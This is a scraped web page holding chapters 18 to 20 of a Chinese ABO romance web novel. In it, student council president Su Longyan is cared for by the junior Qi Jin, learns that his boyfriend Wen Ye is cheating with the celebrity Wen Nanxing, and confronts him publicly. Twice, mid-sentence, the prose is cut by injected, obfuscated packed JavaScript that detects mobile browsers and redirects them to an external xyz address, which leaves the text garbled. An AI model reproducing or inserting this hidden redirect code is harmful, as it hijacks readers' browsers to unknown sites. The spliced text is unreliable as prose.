$(''#content'').append('' “温存”? 手臂内侧那一点细微的刺痛感,正小心翼翼地提醒着苏拢烟。他抬起手,轻轻拉开被祁禁卷上去此刻又有些滑落的衬衫袖子。 那个小小的针孔依然清晰可辨。 抑制剂…… 当时便利店里,除了自己,也只有祁禁了。所以,几乎可以肯定,就是祁禁在他昏迷的时候给他注射的抑制剂。 苏拢烟的眸光不由自主地回落到少年身上。 那两个Omega女孩已然被祁禁全然吸引,祁禁还从饮料柜里拿出一款新出的蜜桃汁气泡水,递到她们手中:“这是我们店里新上的饮料,二位不妨尝一下?口感非常清甜,很契合Omega的口味。” 他说话时,眼尾微微眯起,眸底流溢着淡淡的亲和力,声音又苏又撩。 “真的吗?太好了,我们就要这个!”短发女孩抢着接了过去,脸颊红得像熟透的桃子。 长发女孩连连颔首,目光痴愣愣地黏在祁禁脸上,“你推荐的,一定很好喝”,说着又垂下头去,脸也通红。 苏拢烟:“……” 他默默地看着,心底萌生出说不清道不明的滋味。 “那,小帅哥,我们可以加个你的联系方式吗?”短发女孩鼓足了勇气,掏出手机,眸色亮晶晶地端量着祁禁,期待溢满整个眼眶。 祁禁闻言,脸上展露出一缕歉意,笑意未减,“不好意思,工作时间不便处理私人事务。而且……”,他停顿了片晌,眸光不经意地扫过长条座椅的方向,迅速收回,语气里藏匿着微妙的边界感,“我男朋友,会介意的。” “男、男朋友?!”两个女孩诧异地张了张嘴,脸颊上的红晕瞬间消褪了大半,挂上失落的神情。 苏拢烟的心脏,也跟着这句话里的“男朋友”深深地震颤了一下。 祁禁有男朋友了? 不对,重点不是这个。重点是他为什么要坦白这件事情?他是在暗示什么吗?还是只是单纯地拒绝两个女孩? “啊……这样啊……”长发女孩遗憾道,“那好吧,我们结账。” 祁禁依然微笑着,利落地帮她们扫码结账,送她们到门口,不忘说一句:“欢迎下次光临,路上注意安全。” 两个女孩一步三回头地,眼神里满是恋恋不舍,直到便利店的玻璃门在她们身后合上,隔绝了看向祁禁的炙热目光。 便利店里,又恢复了先前的安静。 苏拢烟远远望着女孩们失魂落魄、仿佛错失一个亿的表情,再看了眼好整以暇、仿佛什么都没有发生过的祁禁,心头那股古怪的酸意,仿若初春解冻的霜露,无声无息地漫延上来,让他自己都觉得莫名其妙。 我在不爽什么? 不爽他这般招蜂引蝶?还是不爽他对别人温柔体贴? 这个念头刚刚萌发出来,苏拢烟不自禁打了个喷嚏。 疯了吧苏拢烟!你可是有男朋友的人!你居然在吃别的男人的醋!还是……祁禁的醋。 18. 第18章 他只是和你认识没几天的学弟啊! 苏拢烟恨不得狠狠地掐自己一下。 清醒点,眼下最该做的,是感谢祁禁的帮助,然后让他离开便利店,而不是在这里胡思乱想。 苏拢烟深深地吸了口气,压下心头翻腾的怪异情绪,想从长条座椅上站起身。大抵是躺久了,又或许是抑制剂的药效作用,双腿有些发软,他扶着身旁的货架,才勉强稳住身子。 祁禁送走那两个Omega女孩后,没有立刻回到收银台,而是继续整理那几包摆放凌乱的甜甜圈。 苏拢烟缓步走向他,声音带着刚苏醒时的沙哑:“祁同学,谢谢你。” “傍晚要不是你,我可能……”他实在难以启齿自己第一次发情于大街上的窘迫。 祁禁像是刚注意到他走过来似的,放下手里的零食,偏过身,一双松烟晕染的水眸在日光灯下格外澄净,银灰色的发色很是粲然,他歪了歪头,唇角勾起一抹温和的弧度:“学长醒了?感觉还好吗?有没有哪里不舒服?” 一连串的关心像和煦的秋风拂过苏拢烟的心尖,让他方才准备好的客套话全都卡在了喉咙里。看着祁禁蕴在眸底的关切与同情,苏拢烟感到很不是滋味,愧疚感油然而生:“我已经没事了,就是……真不好意思,给你添麻烦,还让你替我应付客人。” 一想到祁禁那番“滴水不漏”的待客之道,苏拢烟的脸就有点发烫。一个开学来报道时开着超跑的富家少爷,居然在便利贴帮学长打工,还做得有模有样,这也太…… 祁禁闻言,眉梢轻轻挑起,从裤兜里掏出苏拢烟的银边眼镜,吹了吹气,又拿卫衣袖子揩了揩,给苏拢烟戴上,“学长,我只是路过,恰好看到学长你不太对劲,就进来看看,至于刚才……”,他顿了片晌,将苏拢烟鼻梁上的眼镜扶正,“不过是顺手帮忙罢了”。 苏拢烟面颊绯红,他往后退了半步,差点撞到货架,镜链绵绵摇曳。 祁禁先前熟练的姿态,还有那句“我男朋友,会介意的”。 苏拢烟顿时感觉自己的脑子不太够用。 “不管怎么样,你毕竟帮了我大忙”,苏拢烟定了定神,语气诚挚,“抑制剂也是你帮我打的对吗?真的感谢。现在时间也不早了,你快回学校休息吧,白天还有课,这里我来就好”。 说着,他便朝收银台的方向走去。 “学长。”祁禁在他身后叫住了他,依然是关怀的意味,“你刚刚才退烧,身体还很虚”,他侧身上前一步,不着痕迹地挡在苏拢烟与收银台之间,高硕的身材压制让苏拢烟停下了脚步,“而且”,祁禁缱绻的眸光落在苏拢烟苍白而泛着绯色的脸颊上,声音稍稍压低,安抚道,“你一个Beta,才分化成Omega,还……第一次经历这样的事情,万一,信息素再出问题怎么办?这三更半夜的,便利店里可不安全”。 每个字,他都说得缓慢,清晰。 苏拢烟张了张唇瓣,想说一句“你怎么替我值班,你又不是这里的店员”,但终究没说出口。 祁禁这副笃定的模样,好像他才是便利店的临时工一样。不过,他说得没错,以自己现在状况,确实不能硬撑了。万一、万一又像先前那样…… “可是”,苏拢烟有点犹豫,让一个不太熟的学弟替自己承担工作量,他实在过意不去。 “没什么‘可是’的。”祁禁打断他,听来依旧温和,只是平添了些许坚持,“学长,你现在最需要的是休息,我看里面好像有个杂物间,你进去将就一下,总比在这里吹冷风强。” 苏拢烟那双琥珀色的眸子敛了敛,心头被压抑的异样又悄然萌生。他怎么会,怎么会这么体贴? “听话,嗯?”祁禁见苏拢烟还在迟疑,又补充道,尾音上扬,像在诱哄,他伸出大大的手掌,轻轻扶着苏拢烟的肩膀,掌心的温度隔着薄薄的衬衫布料渗入苏拢烟的身体,一阵细微的战栗袭来,“走吧,学长。” 苏拢烟被他半扶半推着往墙角的门口走去。脑海中一片空白,只能跟着祁禁的步伐。 杂物间不算大,弥漫着纸箱和清洁剂的味道,靠墙的位置放着一张简陋的折叠行军床,床上胡乱搭着深蓝色员工制服。 祁禁松开扶着苏拢烟的手,弓身拿起制服,撑开抖了抖,而后重新铺平在行军床上:“学长,你先在这里休息,就是有点简陋……” 他边说边侧身从货架上拿了一瓶矿泉水,拧开瓶盖递给苏拢烟:“喝点水,补充水分。” 苏拢烟怔怔地接过水,指尖不慎触碰到祁禁的指端,带来一股微凉,他蓦地回过神来。 “祁同学,我……”他想说点什么,结果词穷了。 “不必道谢了,学长。”祁禁仿佛看穿了他的心思,讪讪一笑,那抹笑意在杂物间昏黄的光线里格外温存,“你安心休息,外面的事情交给我。有任何不舒服,随时叫我。” 他寻思了片刻,又道:“我就在外面守着,不会有事的。” 这句话听来轻描淡写,却莫名地让苏拢烟收拢了纷乱的心绪,平静了许多。 祁禁凝视着苏拢烟,转而收起眸光,藏掖着苏拢烟读不懂的情绪,转身退出了杂物间,轻轻带上门。 “咔哒”一声落锁的声响,隔绝了外头的灯光与声音。 苏拢烟坐在行军床上,手里还握着那瓶残留着祁禁指尖余温的矿泉水。 杂物间很安静,只有冰柜运作的低鸣隐约传来。 白日里的兵荒马乱,初次分化的剧烈不适,加之精神高度紧张,此时松懈下来,疲惫感便如潮汐般淹没了苏拢烟。眼帘愈来愈沉,苏拢烟刚挨上员工制服,意识便沉入了深海。 不知过了多久,也许是片晌,也许已经很久了。 “吱呀”一阵极其轻微的门轴转动的声响,一道颀长的身影背着光,悄无声息踏进杂物间。 祁禁在黑暗中找到苏拢烟,小学长睡得很沉,呼吸均匀,眉头微微蹙着,似乎沉浸在不太安稳的梦境中。那张平日里总是蕴着淡淡笑靥的脸庞,此时在手机屏幕的微弱光线里,略显苍白,少了从容,多了脆弱。 他看着身上只盖了一件单薄的员工制服的苏拢烟,眉弓微沉。夤夜的便利店,纵然是杂物间,寒气也很重。 祁禁拉开自己身上黑色连帽卫衣的拉链,将衣服脱了下来,卫衣内里残留着他身体的热温,蕴着极淡的苦艾酒混合火药味的信息素味道。 他俯身,小心翼翼地把卫衣覆在苏拢烟身上,仔细掖了掖边角,确保能将他整个包裹住。 就在这时,一阵细微的震动伴随手机屏幕亮起,打破了杂物间的宁静。 祁禁动作一滞,眸光顺着光亮瞥了过去。 屏幕上一条加粗的娱乐头条赫然映入眸底,标题醒目: 【爆!娱乐圈顶流Omega温南星与同校学长深夜酒店私会,举止亲昵,疑似恋情曝光!】 祁禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575211|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眸光瞬间黯了。 温南星他是知道的,小说原著里,闻野的官配CP。 苏拢烟被震动声和光亮惊扰,深浓的睫羽颤了颤,唇齿间发出模糊的呓语,他缓缓睁开眼。 迷蒙中,他感到身上多了一层柔软的暖意,还闻到一股令他很舒服又有点熟悉的清冽气息。然后,他看到身旁的祁禁,只穿着一件单薄的白色背心,以及枕边亮得晃眼的手机。 “祁同学?”苏拢烟的声音挟着睡意沙哑道,他勉强撑起身子,祁禁盖在他身上的卫衣滑落了至腰际,就在他起身的瞬间,他看清了那条娱乐头条的标题。 - 苏拢烟是被身上那件散发着酒香混合硝烟味的卫衣暖醒的。 他愣愣地坐起身,露出身上穿着的昨日被汗水浸湿又干透的衬衫。 “祁同学?”苏拢烟朝门口喊了一声,双手不自觉地抓紧卫衣。 昨晚那条刺目的新闻标题如魔咒般在他脑海中回荡。 温南星……同校学长…… 苏拢烟的心脏突然狂跳不止,一阵寒意袭遍全身。他想立刻给闻野打电话,想质问他……是不是他。可指尖触碰到手机屏幕的那刻,又遏制住了冲动。 闻野,怎么会联想到自己的男朋友? “学长,你醒了?”祁禁推开杂物间的门,倚在门框上,逆着晨曦,身形被镶染了一圈绚烂的金边,“昨晚睡得还好吗?还有没有不舒服?” 苏拢烟抿着唇,将卫衣折叠好,递了过去。 “嗯,好多了。谢谢你,祁同学。卫衣你拿回去。” “不客气,学长。”祁禁接过卫衣,顺势搭在自己手臂上,眸光掠过苏拢烟眼下的青黑,“我看学长昨晚睡得不安稳,怕你着凉,所以……” 那双水色的深眸弯了弯。 苏拢烟低下头,整理着自己皱巴巴的衬衫:“总之,真的太谢谢你了。改天,我请你吃饭。” “好啊。”祁禁爽快应下,唇角的笑意浓了几分,“我等着那天。” 苏拢烟踉踉跄跄地下了床。 离开了便利店。 - 这天是周一,美术系具象雕塑专业二班的教室里。 鼻息间弥漫着石膏黏土的潮润气味,日光透过高大的玻璃窗,在地板上投下斑驳的光影。 苏拢烟套着一件浅灰色工装围裙,站在自己的雕塑台前,面前摆着一块尚未塑形的棕褐色雕塑泥。 课堂任务是人物雕塑,主题是“你心目中最重要的人”。 苏拢烟毫不犹豫地在脑海中描绘起闻野的形象。 “最重要的人……”他喃喃自语,手持雕塑刀,开始在泥块上勾勒闻野的轮廓。 可是不知为何,他总觉得心神不宁。 那条娱乐头条的内容,像一道魔咒,萦绕在他的耳边。 【温南星】、【同校学长】、【酒店私会】…… “啪嗒”,一小块泥从塑像的颧骨处掉了下来。 苏拢烟的手一颤,刀尖在闻野的“面颊”上划出一道突兀的深痕。 “啊!”他低低地哀叹了一声,烦躁地揉了揉眉心。 他努力回忆闻野温柔的笑靥,他深情款款看着自己的眼神。可脑海里浮现的,却是昨晚便利店里,祁禁水色的松烟眸,和他身上那件蕴着淡淡信息素味道的黑色卫衣。 苏拢烟猛地摇了摇头,想把这些不合时宜的念头通通甩出去。 19. 第19章 苏拢烟努力将注意力重新聚焦在眼前的泥塑上。 是的,他要雕刻闻野。 那个在他分化前就对他百般呵护、嘘寒问暖的闻野;那个在被无数Omega追求示好时,依然坚定站在他身边,眼里只有他的闻野;那个在他身为Beta,还没有浓烈信息素吸引时,却被他深深吸引着的,说“小烟,你就是最特别的”的闻野。 指尖触碰到的泥块冰凉湿润,随着他的揉捏逐渐有了温度,仿佛闻野的体温也传递了过来。苏拢烟的呼吸渐渐平稳,他回忆着闻野的模样。 闻野是体育生,Alpha中最为强悍的存在。饱满结实的胸膛,块垒分明的腹肌,蕴藏着爆发力的臂膀。 苏拢烟的手指在泥塑上游走,雕塑刀灵巧翻飞,不一会,一个男性躯体的雏形便呈现出来。 他记得闻野拥抱他时,肌肉坚实的触感,宽阔的背脊带来的安心。 他仔仔细细地雕刻着那些肌肉线条,每一处隆起,每一处沟壑,都力求精准。 闻野很喜欢在健身房挥洒汗水,阳光照耀在他古铜色的肌肤上,汗珠顺着肌肉纹理滚落,性感得惊心动魄。 苏拢烟的脸颊覆上一层滚烫的红晕,手下的动作也愈发精细专注。 接下来是闻野的脸。 刀削斧凿般的下颌线,是属于Alpha的凌厉。 苏拢烟轻轻刮削,试图还原那完美的弧度。山脊一般高挺的鼻梁,富有攻击性却极具魅力的部位。 苏拢烟曾不止一次,描摹过闻野的鼻梁,感受着属于Alpha的,独一无二的骄傲。 还有那双眼睛,嘴唇…… 渐渐地,泥塑五官愈来愈清晰,闻野的脸,壮硕的身材,在苏拢烟的手中一点点成型。 苏拢烟想要自己的Alpha男友分毫不差地展现在这块泥块之上,栩栩如生。 “就是这样。”苏拢烟低声喃喃,唇角漾起一抹浅淡的笑靥。心头的烦躁也被这份专注驱散了不少。 他拿起一柄小刮刀,准备修饰塑像脖颈的轮廓,凸起的喉结张扬而富有侵略美,上下滚动时充满力量。 最后一道工序,是修复闻野“面颊”上的划痕。 就在他的指尖快要触碰到泥块的瞬间—— 【温南星】、【同校学长】、【酒店私会】…… 娱乐头条的标题再次窜进他的脑海。 “!”苏拢烟冷不丁倒吸一口凉气。 他盯着那道突兀的划痕,总觉得这一刀仿佛也划在了自己的心坎上。 原先凝聚起来的专注力瞬间土崩瓦解。 他再看向闻野的泥塑人像,饱满的肌肉似乎在炫耀着什么,眼眸里竟透着敷衍,笑容似在扭曲,像戴上了一副虚伪的面具。 “不、不是的!”苏拢烟反驳自己,鼻尖渗出细密的汗珠。 他想把闻野的好,温柔,深情,通通拼凑起来,可那些美好的画面像被砸碎的镜子,怎么修补也无法复原了。 取而代之的,是闻野近来频繁的“篮球队事务忙”、“社团有活动”、“和兄弟们聚餐”……以及,昨晚手机里那条新闻。 苏拢烟的心像被撞碎的冰山,沉入海底。 他手中的雕塑刀“哐当”一声掉落在地。 苏拢烟失神地望着那把沾着泥点的雕塑刀,视野逐渐模糊,一汪泪泉在眼眶里打转,愣是不肯落下来。 “快看!外面什么情况?!” “我的天呐,好多记者!是谁来了呀?这么大的阵仗!” 教室里忽然爆发一阵惊呼与骚动,同学们纷纷涌向窗边,垫着脚尖探着脖子往外张望。 雕塑教室位于教学楼一层,窗外是通往表演系大楼的主干道。 此时,平日里只有三三两两的学生经过的小路,被一群扛着长枪短炮、举着话筒的记者围堵得水泄不通。闪光灯“咔嚓咔嚓”地。 苏拢烟对此恍若未闻。 他仍旧怔怔地看着地上的雕刻工具,脑海里一片白茫茫,又像是拧着一团乱麻,纷乱的画面交错一处,焦头烂额。 闻野的泥塑像上被他失手划出的深痕,现在看来,像极了伤疤,丑陋,狰狞。 “是、是温南星!表演系的Omega大明星!温南星!”一个眼尖的同学拔高音量,激动地嚷着。 “天呐,真的是他!他怎么会来我们这边的教学楼?千载难逢的幸运啊!” “他旁边那个Alpha是谁?好帅,身材也太好了吧!” “是篮球队队长闻野!” 苏拢烟的身体猛地一颤。 他睁大眸色已然黯淡的眼睛,缓缓地,迟疑地,转过头,望向窗外那片光源。 隔着一层蒙着轻薄灰尘的玻璃,他看见了,闻野。 闻野今天穿了一件淡雅的休闲衬衣,衬得他眸底多了几分温和,脸上洋溢着苏拢烟再熟悉不过的自信而满足的笑容。 他的手,正与另一个美得不可方物的身影十指相扣。 那个人,便是大二就红透大江南北的娱乐圈顶流,温南星。 温南星穿着一件粉色T恤,金晃晃的卷发,妆容明灿,笑靥勾起两道浅浅的小酒窝,他偏着头,依赖地靠在闻野肩侧,娇媚的狐狸眼里快要溢出满腔的幸福和甜蜜,在闪光灯的映照下,周身都散发着光晕。 他们两个,Alpha俊逸强硕,Omega明艳可人,站在一起,宛如一对璧人,生生刺痛了苏拢烟的眸子。 “咔嚓”、“咔嚓”,闪光灯愈加密集的闪烁着。 苏拢烟听见记者的提问,隔着玻璃,很模糊,很遥远,却字字清晰:“温先生,请问您身边这位高大帅气的Alpha是您的男朋友吗?” 另一名记者紧随其后,声音亢奋:“两位是刚刚交往吗?昨夜的酒店私会事件是为了公布恋情刻意安排的吗?” 温南星脸颊微微泛红,眸中的水光潋着羞涩,他将脑袋往闻野怀中蹭了蹭,与闻野对视了片晌,声音娇嗲甜糯道:“是的,他就是我的男朋友。” 他停顿了一下,似乎是为了增强戏剧张力,而后用宣告般的口吻继续说道:“我们在一起的时间不算短呢。今天,刚好是我们交往第九十九天,纪念日哟。” 九十九天…… 苏拢烟周身的血液霎时逆流。 他清清楚楚记得,他和闻野确认关系,也不过才百来天。 所谓的“相敬如宾的热恋期”,“小烟你是最特别的”,“我会一直陪你”,原来,从头到尾都是一场荒谬的骗局? 自己因为闻野的“坚定”而感动不已的日日夜夜,因为闻野的“深情”而心跳加速的每个瞬间,都是个笑话! 青天白日之下最好笑的笑话! 一阵又一阵的钝痛袭上他的心脏,痛得他无法呼吸。 紧接着,一名女记者扬着激动的声调祝福道:“哇!第九十九天!太浪漫了!祝你们一定要长长久久,永远甜蜜!” 然后,苏拢烟听见了那个曾对他说过无数情话的声音。 闻野爽朗地笑着,他抬起一只手臂,亲昵地揽住温南星的肩膀,对着镜头高调道:“谢谢这位记者朋友的祝福!我们,会很幸福的!” 我们,会很幸福的…… 会,很幸福的。 闻野的声音,像一把淬毒的白刃,狠戾地,反复捅进苏拢烟的心口。 每一个字,都验证着血淋淋的事实,将他的幻想彻底击碎了。 苏拢烟的脸色刹那间变得惨白,毫无血色。 他觉得天旋地转,耳边蜂鸣不断,闪光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575212|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯,记者们兴奋的脸,同学之间的热切讨论,闻野和温南星亲昵无间的姿态……一切都在扭曲,交错,变形,像跌入一场光怪陆离的噩梦。 他踉跄地退了一步,身子轻晃,站立不稳。 唇瓣被咬到沁出腥甜,唇珠也被扯出一道血印子。这才让他勉强撑住,没有倒下去。 然而,这步后退,让他不慎撞上身侧的雕塑架。架子上摆放着他耗尽心血雕刻的,即将完成的闻野的全身像。那个他怀着满腔爱意,一刀一刀悉心雕琢,连肌肉纹理都力求逼真完美的“闻野”。 “哐当”一声,紧接着“啪”的一下,石膏碎裂的声响从教室后排传来,那座闻野的雕像从雕塑架上轰然坠落,重重地砸在地上,顷刻间四分五裂,碎成一地惨白。 闻野的“头颅”滚落到墙角,“身躯”断裂成数截,手臂、大腿……那些苏拢烟痴迷的虔诚打磨的部分,此时都变成了七零八落的残骸,断面狰狞。 教室骤然一静,所有人的目光都投向了苏拢烟。 苏拢烟似乎没有听到石膏的碎裂声,也没有感受到周围人的诧异与震惊。 他只是缄默地站在那里,瞳仁涣散地盯着地上那堆“闻野”。 “啊——”一个女同学捂住了嘴,惊呼道。 “苏会长,你、你没事吧?”身旁的人小心翼翼地问。 但苏拢烟没有反应。 祁禁…… 那张乖戾又无害的脸,在他脑海中闪过。 他说的是真的。 竟然是真的!真的像祁禁说的那样,闻野,出轨了…… 苏拢烟的唇瓣翕动着,喉咙干涩,喉结那颗小痣黯淡无泽,眼镜链垂在锁骨间,冷冰冰的,只有他自己听见了源自内心的绝望的呐喊: “骗子!闻野你这个彻头彻尾的骗子!” 祁禁当时说什么来着? “你的那位Alpha男朋友,闻野,才是书里的主角,他有自己的官配CP。” “闻野会遇到一个‘真爱’,是我们学校表演系的一个很漂亮的学生,还是个大明星,Omega。” 当时误会祁禁在胡说八道,什么穿书论,都是小孩子不懂事的挑衅。 可如今…… 苏拢烟的眸光依旧停留在那一地狼藉的石膏碎片上,心脏痛得快要蜷缩起来了。 温南星。 温……他想起来了,他全都想起来了。 昨日,闻野非拉着苏拢烟去看科幻大片。 闻野当时还搂着他的肩膀,回忆荧幕上美得惨绝人寰、饰演人鱼Omega的演员,闻野笑着说:“中间那段Alpha人类和Omega人鱼的戏,拍得真带劲!特效绝了!” 苏拢烟记得自己当时只是应和了几句,心思全在腺体雏形上。 那个人鱼Omega在电影里的戏份很重,每一次出场都惊艳四座,那双洇着泪痕的透着几分狡黠与无辜的狐狸眼,与窗外在闪光灯下巧笑倩兮的温南星的眸子,如出一辙。 原来,原来在那个时候,闻野早就已经…… 一股透心的寒意窜上苏拢烟的身体。 自己有一瞬间还傻乎乎地设想,温南星演技灵动,未来可期。 现在想来,闻野看电影时的眼神,他看的究竟是电影,还是与他相爱着的Omega男朋友? 自己全心全意在雕塑课上雕琢他的模样,以为在记录爱情,到头来,都是一场荒诞喜剧。而自己,却是剧中最滑稽的小丑。 炮灰!贱受! 贱受! 散落一地的石膏碎片,每一块,都像玻璃渣子,扎进苏拢烟那颗曾经完整而炽热的心。 它们冰冷,惨白,那个他精心雕琢的“闻野”终究还是碎了,碎得彻彻底底,如此不堪一击。 20. 第20章 不,不能就这么算了。 苏拢烟压在胸口的那口气像无数锋利的冰棱,刺戳着他的心脏。他硬是咽下了这份生痛,挺直背脊,因震惊和愤懑而涣散的琥珀眸子,一点一点重新凝聚成一道寒冽的光。 “让一让,同学,麻烦让一让。”苏拢烟的声音不大,有点沙哑,颤抖,听来很决绝,让围堵在窗边和门框旁看热闹的同学不自禁腾出一条通路。 他拨开人群,一步一步,走向教室外面那片灼目的光源。 足底像灌了铅,十分沉重。 他能感觉到周遭无数的目光落在自己身上,有同情,好奇,还有错愕。他已无暇顾及。 终于,他站在了闻野和温南星面前。 记者们手里的闪光灯愈加疯狂的闪烁。 “这位同学是……?”有名眼尖的记者疑惑道。 “好像是学生会会长苏拢烟,闻野的……”有同学回道。 闻野低头柔声安慰怀里“受惊”的温南星,而后不耐烦地抬起眸子。当他看清来人是苏拢烟时,眉头深深蹙起,眸底掠过不悦与浅浅的心虚。 温南星依偎着闻野,怯生生地,那双漂亮的狐狸眼警惕地打量着苏拢烟,眸光中透着几分惊惧,好似苏拢烟才是那个打搅他们的局外人。 “苏拢烟?”闻野的语气生分而疏离,挟着警告的意味,“你有什么事吗?” 苏拢烟没有与他对视,也没有理会温南星探究的眸光。 他伸出指节泛白、战抖不歇的手,举起手机。屏幕正对着闻野,屏幕已经解锁。 “闻同学,”苏拢烟的语调平静得可怕,像暴风骤雨来临前的死寂,“你还记得这张照片吗?” 手机屏幕上,划出一张合影。 小酒吧暗昧的灯光下,他和闻野相互挨着头,笑得傻气,真挚。苏拢烟当时脸上蕴着赧色,眼角眉梢尽是雀跃。闻野揽着他的肩膀,下巴亲昵地抵在他的肩头,笑得灿烂。 照片右下角,有一个小小的水印日期。 那是他们在一起的第九十九天纪念日。 闻野的瞳仁蓦地一缩,面色煞白,他伸出手想去遮挡,又不知该怎么解释,张了张嘴,什么话也没说出口。 温南星探了探脑袋,想要看清手机屏幕上的内容。 苏拢烟没有给他机会。 淡粉色的指尖在屏幕上轻点了一下,下一秒,他不假思索般地,按在那个红色小垃圾桶图标上,重重地。 【是否确认删除照片?】 【确认。】 随着干脆利落的“删除”动作,一滴滚烫的泪水,挣脱了强作的镇定,从苏拢烟的眸角滚落。 苏拢烟抬起手,抹去这滴泪。 而闻野盛满怒气的声音如一桶刺骨的冰水浇头而下,让苏拢烟从这瞬间的失神中清醒过来。 “苏拢烟,你闹够没有?!”闻野试图维持体面,“我们早就名存实亡了,你到现在还不清楚吗?” “别在我和我男朋友面前演什么被抛弃的怨夫戏码,难看死了!” 苏拢烟淡淡地嗤笑了一声。 他的指尖没有停歇,在手机屏幕上再次划动,找到了另一张合影。 【确认“删除”。】 温馨的画面再次骤然消失,被冷冰冰的系统壁纸取代。 苏拢烟的脸上没有任何表情,他没有去看闻野扭曲的脸,也没有理会温南星从警惕到不悦的眸光。 他的世界,此刻只剩下手机相册里那一张张承载着他曾经所有爱恋和期盼的合影,以及那个无情的红色垃圾桶图标。 又一张,再一张…… 苏拢烟的手指机械到麻木般操作着,每一次点击“删除”,都有一把钝刀在他的心头反复切割。 那些曾让他甜蜜到心悸的瞬间,此刻正凌迟着他。 周遭的闪光灯伴随着快门声愈加密集,记者们像是嗅到血腥味的鲨鱼,兴奋地记录着这戏剧性的一幕。 温南星的面色越来越难看。 他本来是来炫耀和宣示主权的,没想到会看到如此一出“手撕渣男”的戏码,而自己,俨然成了这场闹剧中另一个不知情的“受害者”。 “闻野!”他终究忍不住了,猛地甩开闻野安抚在他肩头的手,狐狸眼因愠怒而睁大,声音也变得尖锐,“他删的这些……到底是怎么回事?”妆容有点花了,“你不是说你跟他早没关系了吗?这些照片算什么?” 闻野的面色一会青一会白,额角渗出豆大的汗珠,他急忙去拉温南星的手,慌乱道:“南星,你听我解释,不是你想的那样的。我跟他……我跟他早就结束了!是他自己一直纠缠不清。” 苏拢烟又是一声嗤笑。 原来,他所有的深情和付出,在闻野眼里,不过是“纠缠不清”。 好,很好。 温南星似乎不信闻野的辩解。他深深地盯着苏拢烟半晌,又扫了一眼慌乱失措的闻野,一股怒火窜上胸腔。 “你是不是从一开始就脚踏两只船?拿我当傻子耍吗?!”温南星因为激动过头声音有点颤抖,眼圈也泛红了,眼眶蓄满泪水,神情委屈又愤懑,“闻野,你太让我失望了!” “南星,我没有,我真的……”闻野还想要为自己辩白,可后头的话像鱼刺卡在喉咙里出不来。每个字从他嘴里蹦出来都那么苍白无力。 “别碰我!”温南星如被烫到一般,狠狠甩掉闻野再次伸过来的手。 他转过身,精致柔和的下颌抬得高高的,像一只受了伤也依然骄傲的天鹅,不再看向闻野,瞥一下都不愿意。他在一众记者错愕的目光中,气冲冲地朝人群外挤去。 “温先生、温先生!” 记者们炸开了锅,长枪短炮立马调转方向,乌泱泱地朝温南星离开的方向追去。 “温先生,请问您对刚才发生的事情有什么看法?” “温先生,您对闻野和学生会会长正在交往这件事从来没所察觉吗?” “您真的是被蒙在鼓里的吗?” “那您以后还会相信Alpha的甜言蜜语吗?” 温南星的脚步顿了一下,面色愈发难看,他没有回答,只是加快了步伐,在保镖和学校保安的护送下,挤出了人群。 就在这一刻,方才还对苏拢烟怒气冲冲的闻野居然追了上去。 闻野壮硕的身影显得有些狼狈,他迫切的伸出手,想要去抓温南星的手腕,嘴里语无伦次:“南星,南星你听我说。” 苏拢烟纤长的眼睫像蝴蝶的翅膀一样震颤了一下,眸底掠过一道冷冷的嘲讽。 “啪——!”一记清脆响亮的耳光,如平地惊雷,惊吓住在场的每一个人。 温南星那张娇媚动人的脸庞覆上了一层厚厚的寒霜,他甩出的手掌还停在半空,指尖发着颤,看来是耗尽了所有气力。 “闻野,你把我当什么了?”温南星冷声道,尽管声音有点抖,“招之即来挥之即去的玩物吗?!” 闻野捂着一侧火辣辣的脸颊,整个人都懵了,那双素来自信的眸子里,盛满了惊恐。 他应当是不敢想象,一向柔柔弱弱,温驯乖巧,依赖着他的温南星,会当中给他如此一击。 紧接着,众目睽睽之下,无数摄像机镜头前,这个不可一世的、Alpha当中的佼佼者——闻野——“噗通”一声,双膝跪在温南星面前。 “南星,对不起!我错了,我真的错了!”闻野的声音溢满哭腔,他双手死死抱住温南星的小腿,仰着头,恳求着,面颊上又是红痕又是泪水,“我发誓!我以后再也不会和苏拢烟有任何牵扯,我跟他彻底断干净!你相信我,再给我一次机会好不好?” 苏拢烟的唇角微妙地勾起,心头已然没了波澜。 围观的同学爆发出一阵又一阵的惊呼与窃笑。 温南星居高临下地睥睨着脚边的闻野,怒火逐渐转为嫌弃。 他忽然抬起头,唇边挑起一抹极尽妩媚,蕴着致命的寒意的笑靥,酒窝笑得有点深,“各位记者朋友,还有在场的同学”,音量不大,字字清晰,“我温南星,从这一秒起,恢复单身!” 他顿了片晌,笑容愈发粲然:“也欢迎各位优秀的Alpha向我献上你们的诚意。” “毕竟,垃圾,就该待在垃圾桶里。” 言毕,他厌恶地踢开闻野,再也没有看他,在随之而来的哗然中,姿态恬雅地离开了。 闻野彻底傻眼了。 他跪在原地,保持着仰头的姿势,表情凝固,像一座被抽走了灵魂的破败雕像。 议论声、指点声、鄙夷的目光,像无数的箭矢,从四面八方刺穿他。 这变脸的速度,果决的手段,温南星,也不失为一个狠角色。 苏拢烟不乏赞许地评价道。 闻野慢慢从地上爬起来,失魂落魄地,像一只斗败的公鸡。 而后,他像是想起什么,转过身,目光牢牢地圈住不远处的苏拢烟。 看我做什么? 难不成还指望我这个被他亲口认证“纠缠不清”的“怨夫”来安慰他“破碎”的心吗? 